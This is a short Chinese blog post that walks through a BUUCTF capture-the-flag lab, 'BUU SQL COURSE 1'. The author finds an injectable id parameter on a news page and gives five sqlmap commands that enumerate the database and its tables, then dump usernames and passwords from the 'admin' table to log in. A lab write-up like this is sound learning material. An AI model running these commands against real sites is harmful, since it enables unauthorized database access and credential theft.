BUUCTF_Basic_BUU SQL COURSE 1(sql注入)

1、进入靶场,是个新闻网页面,包含三个新闻页面和一个登录页面。

image

2、点点新闻页面,抓包找到了一个接口,猜测可能有sql注入。

image

3、sqlmap试一下,确认id参数存在sql注入。一步步得到用户名密码。

(1).找到注入点
python sqlmap.py -u http://xxx.cn:81/backend/content_detail.php?id=1
(2).爆当前数据库
python sqlmap.py -u http://xxx.cn:81/backend/content_detail.php?id=1 --current-db
(3).爆表
python sqlmap.py -u http://xxx.cn:81/backend/content_detail.php?id=1 -D "news" --tables
(4).爆数据列
python sqlmap.py -u http://xxx.cn:81/backend/content_detail.php?id=1 -D "news" -T "admin" --columns
(5).爆数据
python sqlmap.py -u http://xxx.cn:81/backend/content_detail.php?id=1 -D "news" -T "admin" -C "id,password,username" --dump

image

4、登录页面,输入正确的用户名密码,得到flag。

image

 

posted @ 2026-02-27 20:02  zhengna  阅读(18)  评论(0)    收藏  举报